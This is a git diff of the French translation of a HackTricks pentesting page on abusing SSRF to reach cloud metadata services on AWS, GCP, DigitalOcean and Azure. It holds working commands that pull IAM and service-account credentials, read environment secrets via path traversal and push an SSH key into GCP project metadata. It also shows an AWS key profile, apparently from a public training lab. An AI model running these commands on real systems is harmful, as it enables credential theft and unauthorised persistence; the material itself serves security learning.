* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -2,21 +2,21 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Autres moyens de soutenir HackTricks :
|
Autres façons de soutenir HackTricks :
|
||||||
|
|
||||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Trouvez les vulnérabilités qui comptent le plus afin de les corriger plus rapidement. Intruder suit votre surface d'attaque, effectue des scans de menaces proactifs, trouve des problèmes dans toute votre pile technologique, des API aux applications web et systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) aujourd'hui.
|
Trouvez les vulnérabilités les plus importantes afin de les corriger plus rapidement. Intruder suit votre surface d'attaque, lance des analyses de menaces proactives, trouve des problèmes dans l'ensemble de votre pile technologique, des API aux applications web et aux systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) aujourd'hui.
|
||||||
|
|
||||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||||
|
|
||||||
|
@ -24,19 +24,19 @@ Trouvez les vulnérabilités qui comptent le plus afin de les corriger plus rapi
|
||||||
|
|
||||||
## AWS
|
## AWS
|
||||||
|
|
||||||
### Abuser de SSRF dans l'environnement AWS EC2
|
### Abus de SSRF dans l'environnement AWS EC2
|
||||||
|
|
||||||
**Le point de terminaison des métadonnées** peut être accédé depuis n'importe quelle machine EC2 et offre des informations intéressantes à son sujet. Il est accessible à l'URL : `http://169.254.169.254` ([informations sur les métadonnées ici](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)).
|
**La métadonnée** peut être accédée depuis n'importe quelle machine EC2 et offre des informations intéressantes à son sujet. Elle est accessible à l'URL : `http://169.254.169.254` ([informations sur la métadonnée ici](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)).
|
||||||
|
|
||||||
Il existe **2 versions** du point de terminaison des métadonnées. La **première** permet d'**accéder** au point de terminaison via des requêtes **GET** (donc tout **SSRF peut l'exploiter**). Pour la **version 2**, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), vous devez demander un **token** en envoyant une requête **PUT** avec un **en-tête HTTP** puis utiliser ce token pour accéder aux métadonnées avec un autre en-tête HTTP (donc c'est **plus compliqué à abuser** avec un SSRF).
|
Il existe **2 versions** de la métadonnée. La **première** permet d'**accéder** à la métadonnée via des requêtes **GET** (donc toute **SSRF peut l'exploiter**). Pour la **version 2**, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), vous devez demander un **jeton** en envoyant une requête **PUT** avec un **en-tête HTTP** puis utiliser ce jeton pour accéder à la métadonnée avec un autre en-tête HTTP (il est donc **plus compliqué à exploiter** avec une SSRF).
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
Notez que si l'instance EC2 applique IMDSv2, [**selon la documentation**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), la **réponse de la requête PUT** aura une **limite de saut de 1**, rendant impossible l'accès aux métadonnées EC2 depuis un conteneur à l'intérieur de l'instance EC2.
|
Notez que si l'instance EC2 impose IMDSv2, [**selon la documentation**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), la **réponse de la requête PUT** aura une **limite de saut de 1**, rendant impossible l'accès à la métadonnée EC2 depuis un conteneur à l'intérieur de l'instance EC2.
|
||||||
|
|
||||||
De plus, **IMDSv2** bloquera également **les requêtes pour obtenir un token qui incluent l'en-tête `X-Forwarded-For`**. Cela est pour empêcher les proxies inverses mal configurés d'y accéder.
|
De plus, **IMDSv2** bloquera également les requêtes pour récupérer un jeton qui incluent l'en-tête `X-Forwarded-For`. Cela vise à empêcher les proxies inverses mal configurés de pouvoir y accéder.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Vous pouvez trouver des informations sur les [points de terminaison des métadonnées dans la documentation](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). Dans le script suivant, certaines informations intéressantes sont obtenues à partir de celui-ci :
|
Vous pouvez trouver des informations sur les [points de terminaison de métadonnées dans la documentation](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). Dans le script suivant, certaines informations intéressantes en sont extraites :
|
||||||
```bash
|
```bash
|
||||||
EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
|
EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
|
||||||
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
|
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
|
||||||
|
@ -96,75 +96,75 @@ echo ""
|
||||||
echo "EC2 Security Credentials"
|
echo "EC2 Security Credentials"
|
||||||
eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""
|
eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""
|
||||||
```
|
```
|
||||||
Comme exemple de **crédentials IAM accessibles publiquement** exposées, vous pouvez visiter : [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws)
|
Comme exemple d'exposition de **credentials IAM publiquement disponibles**, vous pouvez visiter : [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws)
|
||||||
|
|
||||||
Vous pouvez également vérifier les **crédentials de sécurité EC2** publiques ici : [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)
|
Vous pouvez également vérifier les **credentials de sécurité EC2 publics** sur : [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)
|
||||||
|
|
||||||
Vous pouvez ensuite prendre **ces crédentials et les utiliser avec l'AWS CLI**. Cela vous permettra de faire **tout ce que le rôle a la permission** de faire.
|
Vous pouvez ensuite **utiliser ces credentials avec l'AWS CLI**. Cela vous permettra de faire **tout ce que le rôle a la permission de faire**.
|
||||||
|
|
||||||
Pour tirer parti des nouvelles crédentials, vous devrez créer un nouveau profil AWS comme celui-ci :
|
Pour profiter des nouveaux credentials, vous devrez créer un nouveau profil AWS comme celui-ci :
|
||||||
```
|
```
|
||||||
[profilename]
|
[profilename]
|
||||||
aws_access_key_id = ASIA6GG7PSQG4TCGYYOU
|
aws_access_key_id = ASIA6GG7PSQG4TCGYYOU
|
||||||
aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT5pUkyPJsjC
|
aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT5pUkyPJsjC
|
||||||
aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw=
|
aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw=
|
||||||
```
|
```
|
||||||
Remarquez le **aws\_session\_token**, celui-ci est indispensable pour que le profil fonctionne.
|
Remarquez le **aws\_session\_token**, c'est indispensable pour que le profil fonctionne.
|
||||||
|
|
||||||
[**PACU**](https://github.com/RhinoSecurityLabs/pacu) peut être utilisé avec les identifiants découverts pour déterminer vos privilèges et essayer d'escalader les privilèges
|
[**PACU**](https://github.com/RhinoSecurityLabs/pacu) peut être utilisé avec les identifiants découverts pour connaître vos privilèges et essayer d'escalader les privilèges
|
||||||
|
|
||||||
### SSRF dans les identifiants AWS ECS (Container Service)
|
### SSRF dans les informations d'identification AWS ECS (Service de conteneurs)
|
||||||
|
|
||||||
**ECS**, est un groupe logique d'instances EC2 sur lesquelles vous pouvez exécuter une application sans avoir à dimensionner votre propre infrastructure de gestion de cluster car ECS gère cela pour vous. Si vous parvenez à compromettre un service fonctionnant dans **ECS**, les **points de terminaison des métadonnées changent**.
|
**ECS**, est un groupe logique d'instances EC2 sur lesquelles vous pouvez exécuter une application sans avoir à mettre à l'échelle votre propre infrastructure de gestion de cluster car ECS s'en charge pour vous. Si vous parvenez à compromettre le service s'exécutant dans **ECS**, les **points de terminaison de métadonnées changent**.
|
||||||
|
|
||||||
Si vous accédez à _**http://169.254.170.2/v2/credentials/\<GUID>**_ vous trouverez les identifiants de la machine ECS. Mais d'abord, vous devez **trouver le \<GUID>**. Pour trouver le \<GUID>, vous devez lire la variable **environ** **AWS\_CONTAINER\_CREDENTIALS\_RELATIVE\_URI** à l'intérieur de la machine.\
|
Si vous accédez à _**http://169.254.170.2/v2/credentials/\<GUID>**_ vous trouverez les informations d'identification de la machine ECS. Mais d'abord, vous devez **trouver le \<GUID>**. Pour trouver le \<GUID>, vous devez lire la variable **environ** **AWS\_CONTAINER\_CREDENTIALS\_RELATIVE\_URI** à l'intérieur de la machine.\
|
||||||
Vous pourriez être capable de la lire en exploitant une **Path Traversal** vers `file:///proc/self/environ`\
|
Vous pourriez être en mesure de le lire en exploitant une **traversal de chemin** vers `file:///proc/self/environ`\
|
||||||
L'adresse http mentionnée devrait vous donner l'**AccessKey, SecretKey et token**.
|
L'adresse http mentionnée devrait vous donner l'**AccessKey, SecretKey et le jeton**.
|
||||||
```bash
|
```bash
|
||||||
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
|
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
|
||||||
```
|
```
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
Notez que dans **certains cas**, vous pourrez accéder à **l'instance de métadonnées EC2** depuis le conteneur (vérifiez les limitations TTL d'IMDSv2 mentionnées précédemment). Dans ces scénarios, depuis le conteneur, vous pourriez accéder à la fois au rôle IAM du conteneur et au rôle IAM de l'EC2.
|
Notez que dans **certains cas**, vous pourrez accéder à l'**instance de métadonnées EC2** à partir du conteneur (vérifiez les limitations de TTL IMDSv2 mentionnées précédemment). Dans ces scénarios, à partir du conteneur, vous pourriez accéder à la fois au rôle IAM du conteneur et au rôle IAM EC2.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### SSRF pour AWS Lambda <a href="#id-6f97" id="id-6f97"></a>
|
### SSRF pour AWS Lambda <a href="#id-6f97" id="id-6f97"></a>
|
||||||
|
|
||||||
Dans ce cas, **les identifiants sont stockés dans des variables d'environnement**. Donc, pour y accéder, vous devez accéder à quelque chose comme **`file:///proc/self/environ`**.
|
Dans ce cas, les **informations d'identification sont stockées dans des variables d'environnement**. Ainsi, pour y accéder, vous devez accéder à quelque chose comme **`file:///proc/self/environ`**.
|
||||||
|
|
||||||
Le **nom** des **variables d'environnement intéressantes** sont :
|
Les **noms** des **variables d'environnement intéressantes** sont :
|
||||||
|
|
||||||
* `AWS_SESSION_TOKEN`
|
* `AWS_SESSION_TOKEN`
|
||||||
* `AWS_SECRET_ACCESS_KEY`
|
* `AWS_SECRET_ACCESS_KEY`
|
||||||
* `AWS_ACCES_KEY_ID`
|
* `AWS_ACCES_KEY_ID`
|
||||||
|
|
||||||
De plus, en plus des identifiants IAM, les fonctions Lambda ont également **des données d'événement qui sont passées à la fonction lorsqu'elle est démarrée**. Ces données sont mises à disposition de la fonction via [l'interface d'exécution](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html) et pourraient contenir des **informations sensibles** (comme à l'intérieur des **stageVariables**). Contrairement aux identifiants IAM, ces données sont accessibles via SSRF standard à **`http://localhost:9001/2018-06-01/runtime/invocation/next`**.
|
De plus, en plus des informations d'identification IAM, les fonctions Lambda ont également des **données d'événement qui sont transmises à la fonction lors de son démarrage**. Ces données sont mises à la disposition de la fonction via l'[interface d'exécution](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html) et pourraient contenir des **informations sensibles** (comme à l'intérieur des **stageVariables**). Contrairement aux informations d'identification IAM, ces données sont accessibles via SSRF standard à **`http://localhost:9001/2018-06-01/runtime/invocation/next`**.
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
Notez que **les identifiants lambda** sont à l'intérieur des **variables d'environnement**. Donc si la **trace de la pile** du code lambda imprime les variables d'env, il est possible de **les exfiltrer en provoquant une erreur** dans l'application.
|
Notez que les **informations d'identification lambda** se trouvent dans les **variables d'environnement**. Ainsi, si la **trace de la pile** du code lambda imprime les variables d'environnement, il est possible de les **exfiltrer en provoquant une erreur** dans l'application.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### URL SSRF pour AWS Elastic Beanstalk <a href="#id-6f97" id="id-6f97"></a>
|
### URL SSRF pour AWS Elastic Beanstalk <a href="#id-6f97" id="id-6f97"></a>
|
||||||
|
|
||||||
Nous récupérons l'`accountId` et la `region` depuis l'API.
|
Nous récupérons l'`accountId` et la `région` à partir de l'API.
|
||||||
```
|
```
|
||||||
http://169.254.169.254/latest/dynamic/instance-identity/document
|
http://169.254.169.254/latest/dynamic/instance-identity/document
|
||||||
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
|
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
|
||||||
```
|
```
|
||||||
Nous récupérons ensuite l'`AccessKeyId`, le `SecretAccessKey` et le `Token` depuis l'API.
|
Nous récupérons ensuite l'`AccessKeyId`, le `SecretAccessKey` et le `Token` de l'API.
|
||||||
```
|
```
|
||||||
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
|
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
|
||||||
```
|
```
|
||||||
![](https://miro.medium.com/max/60/0*4OG-tRUNhpBK96cL?q=20) ![](https://miro.medium.com/max/1469/0*4OG-tRUNhpBK96cL)
|
![](https://miro.medium.com/max/60/0\*4OG-tRUNhpBK96cL?q=20) ![](https://miro.medium.com/max/1469/0\*4OG-tRUNhpBK96cL)
|
||||||
|
|
||||||
Ensuite, nous utilisons les identifiants avec `aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/`.
|
Ensuite, nous utilisons les identifiants avec `aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/`.
|
||||||
|
|
||||||
## GCP <a href="#id-6440" id="id-6440"></a>
|
## GCP <a href="#id-6440" id="id-6440"></a>
|
||||||
|
|
||||||
Vous pouvez [**trouver ici la documentation sur les points de terminaison des métadonnées**](https://cloud.google.com/appengine/docs/standard/java/accessing-instance-metadata).
|
Vous pouvez [**trouver ici la documentation sur les points de terminaison de métadonnées**](https://cloud.google.com/appengine/docs/standard/java/accessing-instance-metadata).
|
||||||
|
|
||||||
### URL SSRF pour Google Cloud <a href="#id-6440" id="id-6440"></a>
|
### URL SSRF pour Google Cloud <a href="#id-6440" id="id-6440"></a>
|
||||||
|
|
||||||
Nécessite l'en-tête HTTP **`Metadata-Flavor: Google`** et vous pouvez accéder au point de terminaison des métadonnées avec les URL suivantes :
|
Nécessite l'en-tête HTTP **`Metadata-Flavor: Google`** et vous pouvez accéder au point de terminaison de métadonnées avec les URLs suivantes :
|
||||||
|
|
||||||
* http://169.254.169.254
|
* http://169.254.169.254
|
||||||
* http://metadata.google.internal
|
* http://metadata.google.internal
|
||||||
|
@ -249,13 +249,13 @@ curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?rec
|
||||||
curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \
|
curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \
|
||||||
-H "Metadata-Flavor: Google"
|
-H "Metadata-Flavor: Google"
|
||||||
```
|
```
|
||||||
Beta ne nécessite PAS actuellement d'en-tête (merci à Mathias Karlsson @avlidienbrunn)
|
Beta ne nécessite PAS d'en-tête pour le moment (merci à Mathias Karlsson @avlidienbrunn)
|
||||||
```
|
```
|
||||||
http://metadata.google.internal/computeMetadata/v1beta1/
|
http://metadata.google.internal/computeMetadata/v1beta1/
|
||||||
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
|
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
|
||||||
```
|
```
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
Afin d'**utiliser le jeton de compte de service exfiltré**, vous pouvez simplement faire :
|
Pour **utiliser le jeton du compte de service exfiltré**, vous pouvez simplement faire :
|
||||||
```bash
|
```bash
|
||||||
# Via env vars
|
# Via env vars
|
||||||
export CLOUDSDK_AUTH_ACCESS_TOKEN=<token>
|
export CLOUDSDK_AUTH_ACCESS_TOKEN=<token>
|
||||||
|
@ -285,7 +285,7 @@ $ curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuX
|
||||||
"access_type": "offline"
|
"access_type": "offline"
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Maintenant, poussez la clé SSH.
|
Maintenant poussez la clé SSH.
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
{% code overflow="wrap" %}
|
||||||
```bash
|
```bash
|
||||||
|
@ -294,17 +294,15 @@ curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCo
|
||||||
-H "Content-Type: application/json"
|
-H "Content-Type: application/json"
|
||||||
--data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}'
|
--data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}'
|
||||||
```
|
```
|
||||||
```markdown
|
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
## Digital Ocean <a href="#id-9f1f" id="id-9f1f"></a>
|
## Digital Ocean <a href="#id-9f1f" id="id-9f1f"></a>
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
Il n'y a pas de choses comme les rôles AWS ou les comptes de service GCP, donc ne vous attendez pas à trouver des informations d'identification de métadonnées
|
Il n'y a pas de choses comme les rôles AWS ou le compte de service GCP, donc ne vous attendez pas à trouver des informations d'identification de métadonnées
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Documentation disponible sur [`https://developers.digitalocean.com/documentation/metadata/`](https://developers.digitalocean.com/documentation/metadata/)
|
Documentation disponible à [`https://developers.digitalocean.com/documentation/metadata/`](https://developers.digitalocean.com/documentation/metadata/)
|
||||||
```
|
|
||||||
```
|
```
|
||||||
curl http://169.254.169.254/metadata/v1/id
|
curl http://169.254.169.254/metadata/v1/id
|
||||||
http://169.254.169.254/metadata/v1.json
|
http://169.254.169.254/metadata/v1.json
|
||||||
|
@ -318,7 +316,7 @@ curl http://169.254.169.254/metadata/v1.json | jq
|
||||||
```
|
```
|
||||||
<figure><img src="../../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Trouvez les vulnérabilités les plus importantes afin de les corriger plus rapidement. Intruder suit votre surface d'attaque, effectue des scans de menaces proactifs, trouve des problèmes dans l'ensemble de votre pile technologique, des API aux applications web et systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) aujourd'hui.
|
Trouvez les vulnérabilités les plus importantes afin de les corriger plus rapidement. Intruder suit votre surface d'attaque, lance des analyses de menaces proactives, trouve des problèmes sur l'ensemble de votre pile technologique, des APIs aux applications web et aux systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) aujourd'hui.
|
||||||
|
|
||||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||||
|
|
||||||
|
@ -331,7 +329,7 @@ Trouvez les vulnérabilités les plus importantes afin de les corriger plus rapi
|
||||||
[**Docs** ici](https://learn.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service?tabs=linux).
|
[**Docs** ici](https://learn.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service?tabs=linux).
|
||||||
|
|
||||||
* **Doit** contenir l'en-tête `Metadata: true`
|
* **Doit** contenir l'en-tête `Metadata: true`
|
||||||
* Ne **doit pas** contenir un en-tête `X-Forwarded-For`
|
* Ne doit **pas** contenir d'en-tête `X-Forwarded-For`
|
||||||
|
|
||||||
{% tabs %}
|
{% tabs %}
|
||||||
{% tab title="Bash" %}
|
{% tab title="Bash" %}
|
||||||
|
@ -375,13 +373,12 @@ $userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "h
|
||||||
/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text
|
/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text
|
||||||
/metadata/instance/compute/userData?api-version=2021-01-01&format=text
|
/metadata/instance/compute/userData?api-version=2021-01-01&format=text
|
||||||
```
|
```
|
||||||
```markdown
|
|
||||||
{% endtab %}
|
{% endtab %}
|
||||||
{% endtabs %}
|
{% endtabs %}
|
||||||
|
|
||||||
### Azure App Service
|
### Azure App Service
|
||||||
|
|
||||||
Depuis la variable d'environnement **env**, vous pouvez obtenir les valeurs de `IDENTITY_HEADER` _et_ `IDENTITY_ENDPOINT`. Vous pouvez les utiliser pour obtenir un jeton pour communiquer avec le serveur de métadonnées.
|
À partir de **env**, vous pouvez obtenir les valeurs de `IDENTITY_HEADER` _et_ `IDENTITY_ENDPOINT`. Vous pouvez les utiliser pour obtenir un jeton afin de communiquer avec le serveur de métadonnées.
|
||||||
|
|
||||||
La plupart du temps, vous voulez un jeton pour l'une de ces ressources :
|
La plupart du temps, vous voulez un jeton pour l'une de ces ressources :
|
||||||
|
|
